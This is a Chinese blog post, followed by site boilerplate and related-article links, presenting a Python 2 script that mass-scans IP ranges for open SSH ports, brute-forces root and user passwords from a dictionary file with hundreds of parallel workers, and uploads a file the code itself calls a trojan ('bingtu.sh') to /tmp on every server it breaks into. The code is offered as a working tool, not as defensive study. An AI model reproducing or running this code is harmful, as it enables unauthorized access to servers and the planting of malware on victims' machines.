python多线程扫描爆破网站服务器思路【笔记】
这个扫描是概率问题,是需要字典的,以下代码是作为参考,字典可以去网上下载,我就不提供,我提供的是思路!
#!/usr/bin/env python
# coding=utf-8
from IPy import IP
import socket,os,re,multiprocessing,paramiko
import threading,time
import os.path
from paramiko import SSHClient
from paramiko import AutoAddPolicy
from time import ctime
#---------->定义变量<---------#
#-- 密码文件
password_file=os.path.join(os.getcwd(),"passwd.txt_bak")
#-- ip文件
ip_file=os.path.join(os.getcwd(),"ip.txt")
#-- 执行文件目录
Trojans_file_dir=os.getcwd()+"/include_files"
remote_dir="/tmp"
username="ops"
timeout_time=1
port=22
threads_num=200
#读取ip列表然后将每行ip循环出来,最终存入alllines数组
def loop_ip_everyline():
with open(ip_file,'r') as f:
alllines=f.readlines()
return alllines
#最终输出ip格式的ip地址,最终保存在real_ips数组
def process_ip(line):
real_ips=[]
ip= IP(line,make_net=True)
ips=IP(ip)
for real_ip in ips:
rule="(\d+\.){3}(0|255)$"
x=re.compile(rule)
if x.search(str(real_ip)) is None:
real_ips.append(real_ip)
return real_ips
# 扫描指定ip的指定端口,输出所有开放了22端口的主机,终保存在last_open_ip_list数组
last_open_ip_list=[]
def scan(ip_addr):
s = socket.socket()
s.settimeout(timeout_time)
if s.connect_ex((ip_addr, port)) == 0:
return ip_addr
s.close()
def put_Trojans(ip_addr,password):
try:
t = paramiko.Transport((ip_addr,int(port)))
t.connect(username="root",password=password)
sftp=paramiko.SFTPClient.from_transport(t)
sftp.put(Trojans_file_dir+"/bingtu.sh",remote_dir+"/bingtu.sh")
t.close()
except Exception,e:
print e
print 'upload files failed:'+ip_addr
def try_password (ip_addr,password):
try:
ssh = SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(AutoAddPolicy())
#print "当前处理的ip是",ip_addr,"密码是"+password,ctime()
ssh.connect(ip_addr,port,username,password,pkey=None,timeout = 2,allow_agent=False,look_for_keys=False,banner_timeout=5)
print "目标ip"+ip_addr+"password",ctime()
sftpclient = ssh.open_sftp()
sftpclient.put(Trojans_file_dir+"/bingtu.sh",remote_dir+"/bingtu.sh")
ssh.close()
sftpclient.close()
except Exception, e:
print e
#print "%s processing %s %s" % (name, ip_addr,password),ctime(),"\n"
#print "匹配中\n"
pass
if __name__ == "__main__":
#将ip列表中的所有地址范围以ip格式存入数组last_ip_list
print "将ip列表中的所有地址范围以ip格式存入数组last_ip_list........."
print "破解开始"+ctime()
alllines=loop_ip_everyline()
ip_addr_list=[]
for line in alllines:
real_ips=process_ip(line)
for x in real_ips:
ip_addr_list.append(str(x))
#循环扫描各个ip的22端口,将最终开放了22端口的ip地址以数组的形式存入last_ip_list
pool = multiprocessing.Pool(processes=threads_num)
result=[]
print "扫描端口开始"+ctime()
for ip_addr in ip_addr_list:
#print "扫描%s端口中..................." % ip_addr
result.append(pool.apply_async(scan, args=(ip_addr,)))
pool.close()
pool.join()
last_ip_list=[]
for x in result:
if x.get() is not None:
last_ip_list.append(x.get())
print "匹配的ip是",last_ip_list
print "匹配的ip是",last_ip_list
print "端口扫描完成"+ctime()
#循环匹配开放了22端口主机的密码
password_list = [i.strip() for i in open(password_file,'r')]
threads = []
# 创建新线程
#n=0
print "破解密码,传马开始"+ctime()
#for ip_addr in last_ip_list:
# for password in password_list:
# #n=n+1
# thread = threading.Thread(target=try_password,args=(ip_addr,password))
# thread.setDaemon(True)
# thread.start()
# threads.append(thread)
# #print threading.activeCount()
paramiko.util.log_to_file('paramiko.log')
pool_1 = multiprocessing.Pool(processes=300)
for ip_addr in last_ip_list:
for password in password_list:
#n=n+1
pool_1.apply_async(try_password, args=(ip_addr,password,))
pool_1.close()
pool_1.join()
## 等待所有线程完成
#for t in threads:
# t.join()
print "结束"+ctime()
python多线程扫描爆破网站服务器思路【笔记】的更多相关文章
- python多线程ssh爆破
python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...
- python多线程、多进程、协程笔记
import threading import time import multiprocessing import asyncio movie_list = ['斗破.avi', '复仇者联盟.mp ...
- 扫描网站服务器真实IP的小脚本
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf_8 -*- # Date: 2015年9月11日 # Author:蔚蓝行 ...
- Python 爬虫笔记、多线程、xml解析、基础笔记(不定时更新)
1 Python学习网址:http://www.runoob.com/python/python-multithreading.html
- python多线程与多进程--存活主机ping扫描以及爬取股票价格
python多线程与多进程 多线程: 案例:扫描给定网络中存活的主机(通过ping来测试,有响应则说明主机存活) 普通版本: #扫描给定网络中存活的主机(通过ping来测试,有响应则说明主机存活)im ...
- 手写网站服务器~用Python手动实现一个简单的服务器,不借助任何框架在浏览器中输出任意内容
写在前面的一些P话: 在公司网站开发中,我们往往借助于Flask.Django等网站开发框架去提高网站开发效率.那么在面试后端开发工程师的时候,面试官可能就会问到网站开发的底层原理是什么? 我们不止仅 ...
- python端口扫描用多线程+线程安全的队列+Thread类实现
用线程安全的队列Queue实现扫描端口数据存储 用多线程扫描端口 用Thread类实现程序组织 #coding:utf-8 import sys import socket import sys im ...
- tcp端口扫描(python多线程)
1 使用单线程扫描单台主机 首先实现的是对单台主机中0-1024端口的扫描,发现差不多每秒扫描一个端口,很慢. import socket def tcp_scanner(host,port): cl ...
- 老男孩Python全栈第2期+课件笔记【高清完整92天整套视频教程】
点击了解更多Python课程>>> 老男孩Python全栈第2期+课件笔记[高清完整92天整套视频教程] 课程目录 ├─day01-python 全栈开发-基础篇 │ 01 pyth ...
随机推荐
- VS2017中使用ObjectARX 2019 wizard的 ArxWizMFCSupport向导出现的bug修复前因后果
VS2017中使用ObjectARX 2019 wizard的 ArxWizMFCSupport向导出现的bug,提示脚本错误. 实际原因类似在arx2012向导的问题,需要修改C:\Program ...
- Electron-Vue使用element-ui el-table不显示/卡死
我们需要把element-ui加入到.electron-vue/webpack.renderer.config.js文件中的白名单里面 在这句话let whiteListedModules = ['v ...
- javascript循环遍历数组输出key value
javascript循环遍历数组输出key value用$.each方法肯定不行的 所以采用如下方法<pre> markers = []; markers[2]=3; markers[3] ...
- Python基础 — eval 函数的作用
eval函数就是实现list.dict.tuple与str之间的相互转化str函数把list,dict,tuple转为为字符串 # 字符串转换成列表a = "[[1,2], [3,4], [ ...
- 按键消抖——task任务和仿真平台搭建
一.按键抖动原理 按键抖动原理:按键存在一个反作用弹簧,因此当按下或者松开时均会产生额外的物理抖动,物理抖动会产生电平的抖动. 消抖方法:一般情况下,抖动的总时间会持续20ms以内,按下按键后,等20 ...
- TypeScript之泛型
什么是泛型,有什么用? 泛型字面意思就是广泛的类型,怎么样才算广泛呢?当然是能变的最广泛嘛, 所谓泛型就是类型的变量写法,让你的变量的类型是动态可变的,应用场景如官方文档描述的例子: 一个函数,输入什 ...
- 服务端技术选型与考虑(go)
- MySql取消密码强度验证功能
一.修改MySql配置文件(my.cnf)一般情况下,MySql的配置文件 my.cnf 会在 /etc/ 目录下,如果没有,可以使用以下命令查找位置: find / -name my.cnf 编辑 ...
- 全栈项目|小书架|微信小程序-项目结构设计分包
前面的文章 介绍了服务端的基础搭建以及用户模块的设计,接下来就是在服务端和客户端实现具体的业务了. 本篇文章先来介绍微信小程序开发的项目结构设计,也就是项目分包情况. 由于项目是在<极客时间-9 ...
- ADO,net 实体数据模型增、删、改,浅谈
第一步:建立ADO.net数据模型,一步步操作就行 第二步:画个简单的测试界面 第三步铺代码 using DevComponents.DotNetBar.SuperGrid; using DevCom ...